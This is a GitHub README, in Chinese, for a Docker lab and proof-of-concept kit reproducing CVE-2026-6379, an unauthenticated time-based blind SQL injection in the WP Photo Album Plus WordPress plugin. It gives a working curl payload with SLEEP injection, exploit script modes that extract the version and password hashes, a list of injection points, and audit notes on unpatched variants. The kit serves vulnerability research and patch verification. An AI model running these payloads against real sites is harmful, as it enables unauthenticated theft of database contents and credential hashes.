dinosn/cve-2026-6379
GitHub: dinosn/cve-2026-6379
提供WP Photo Album Plus插件未授权SQL注入漏洞的Docker实验环境与时间盲注PoC工具包。
Stars: 0 | Forks: 0
# CVE-2026-6379 — WP Photo Album Plus < 9.1.11.001 — 未授权SQL注入
**参数:** `wppa-supersearch`
**严重程度:** CVSS 8.6(高)WPScan/Wordfence评定
**厂商修复:** 2026-04-17(WordPressBugBounty镜像中的提交 `d2b0d05d`)
**公开披露:** 2026-04-27(WPScan)
本工具包提供一个独立的Docker实验环境和一个可用的PoC,帮助您端到端地复现、验证和演示该漏洞。
## 简述
```
# 在实验室主机上:
cd lab && ./setup.sh
# 当安装程序打印"=== LAB READY ==="并带有page_id时:
python3 ../pocs/exploit.py "http://:8080/?page_id=" --mode probe
python3 ../pocs/exploit.py "http://:8080/?page_id=" --mode probe-calendar
python3 ../pocs/exploit.py "http://:8080/?page_id=" --mode version
python3 ../pocs/exploit.py "http://:8080/?page_id=" --mode hash
```
易受攻击的目标会在约5秒后回复SLEEP探测;已修复的目标回复时间<1秒。
手动单行检查:
```
curl -sS -o /dev/null -w "%{time_total}\n" \
"http://:8080/?page_id=&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"
```
## 布局
```
cve-2026-6379-wppa/
├── README.md # this file
├── docs/
│ ├── writeup.md # root-cause + patch analysis
│ └── prompts.md # AI-research prompts that distilled this kit
├── lab/
│ ├── docker-compose.yml # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
│ ├── setup.sh # bring-up / tear-down / purge
│ └── init/install.sh # idempotent installer (wp-cli)
└── pocs/
├── exploit.py # time-based blind SQLi (probe / version / user / hash)
└── test_oracle.sh # end-to-end integration test
```
## 漏洞原理(简述)
`wppa_get_photos()` 将请求参数 `wppa-supersearch` 解析为CSV格式 `s1,type,s3,DATA`。当 `type='o'`(所有者)时,`DATA` 被直接拼接到SQL字符串中:
```
$query = "SELECT id FROM $wpdb->wppa_photos
WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";
```
没有转义,没有 `$wpdb->prepare`。设置 `wppa-supersearch=,o,,x' OR (...)-- -` 可以转义引号包围的所有者并执行任意SQL。该端点是托管 `[wppa]` 短码的公开前端页面,因此**无需认证**。
修复方案将所有之前直接拼接的情况都包装在 `$wpdb->prepare(..., %s)` 中。
## 同一补丁修复的注入点(提交 `d2b0d05d`)
CVE-2026-6379补丁重写了 `wppa-functions.php` 中 `wppa_get_photos()` 内的**六个**不同的SQL注入点。两种PoC模式(`probe` 和 `probe-calendar`)分别命中独立的注入点;其他注入点的区别仅在于payload形态。所有注入点都无需认证,可通过相同的 `wppa-occur=N` 门控到达主注入点。
| # | 注入点(漏洞行) | 触发参数 | PoC模式 |
|---|---|---|---|
| 1 | **owner** — `WHERE owner = '$data'`(第1244行) | `wppa-supersearch=,o,,…` | `--mode probe`(已实时验证) |
| 2 | **name** — `WHERE sname = ''`(第1237行) | `wppa-supersearch=,n,,…` | 未被利用(slug过滤器去除引号) |
| 3 | **tag** — `WHERE tags LIKE '%$d%'`(第1254行) | `wppa-supersearch=,g,,…` | 受 `wppa_sanitize_tags()` 限制 |
| 4 | **日历 `exifdtm`** — `WHERE exifdtm LIKE '%'`(第1361行) | `wppa-calendar=exifdtm&wppa-caldate=…` | `--mode probe-calendar`(已实时验证) |
| 5 | **日历 `timestamp`** — `WHERE timestamp >= $t1 AND timestamp < $t2`(第1368行) | `wppa-calendar=timestamp&wppa-caldate=…` | 数值强制转换(`intval`)— 受限 |
| 6 | **日历 `modified`** — 同 `timestamp`(第1375行) | `wppa-calendar=modified&wppa-caldate=…` | 数值强制转换 — 受限 |
第4–6项也在同一提交中移除了悬空的 `ORDER BY $order` 片段——见下文"相关加固"。
## 发现的其他与CVE-2026-6379相关的问题
对同一漏洞版本的 `wppa-functions.php` 进行更广泛审计,发现了CVE-2026-6379补丁之外的注入点。这些不是WPScan/Wordfence公开的内容,且并非所有都同等可利用,但已记录在此,以便该实验环境也可用于变体挖掘。
### `stripslashes( $wpdb->prepare( ... IN (%s) ... ) )` — 可能为单独漏洞
**状态:** 存在于9.1.11.001(补丁后)。未被 `d2b0d05d` 修复。
可能为后续CVE。
`%s` 对逗号分隔的 `IN` 列表无效(它始终输出一个带引号的字符串)。该插件通过将预处理语句包装在 `stripslashes()` 中来规避这个问题,这会移除 `prepare()` 刚添加的转义——如果列表元素被攻击者污染,则会重新打开注入通道。
代表性出现位置:`wppa-functions.php` 第660、711、831、838、889、895、900、971、1028、1034、1041、1122、1144、1190、1410、1414、1465、1470、1476、1481、1491行。
变体分析查询:
```
docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
/var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php
```
### `ORDER BY $order` — 部分修复
补丁从日历/IN子句注入点中移除了 `ORDER BY $order`,但在其他位置保留了它。`$order` 来自插件运行时状态(设置表)——可利用性需要对该状态的写入路径。视为加固项。
### `wp_strip_all_tags()` 用作SQL净化器(#4的变体)
`wp_strip_all_tags` 剥离HTML,而非SQL。无论何时它在带引号的SQL片段周围出现,该片段都是可注入的。除 `caldate` 外,审计任何在拼接前流经此函数的其他请求值。
## 验证矩阵
| 状态 | `probe` | `probe-calendar` |
|------|---------|------------------|
| 易受攻击(9.1.10.011)| `[+] VULNERABLE — ~5.0s ≥ 3.5s` | `[+] VULNERABLE — ~5.0s ≥ 3.5s` |
| 已修复(9.1.11.001)| `[-] Not confirmed — ~0.04s` | `[-] Not confirmed — ~0.04s` |
| 插件已禁用 | `[-] Not confirmed — ~0.04s` | `[-] Not confirmed — ~0.04s` |
| 页面无 `[wppa]` 短码 | `[-] Not confirmed — ~0.04s` | `[-] Not confirmed — ~0.04s` |
在运行中的实验环境切换版本:
```
# 已修补:
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
--allow-root || true
# 重新运行probe;应为阴性。
```
## 安全注意事项
* **仅在隔离网络中运行。**该漏洞无需认证。
* 实验环境使用默认WP凭据 `admin / adminadmin` — 切勿暴露到互联网。
* 使用 `./setup.sh purge` 清理(会删除数据库卷)。
## 参考资料
* WPScan:
* 补丁提交:
* `wppa-functions.php`(漏洞版本):
* `wppa-functions.php`(修复版本):
标签:CISA项目, CVE-2026-6379, Docker, PoC, Web安全, WordPress, WP Photo Album Plus, 安全防御评估, 文件完整性监控, 时间盲注, 暴力破解, 未认证漏洞, 漏洞分析, 漏洞复现, 网络安全, 蓝队分析, 请求拦截, 路径探测, 隐私保护, 靶场环境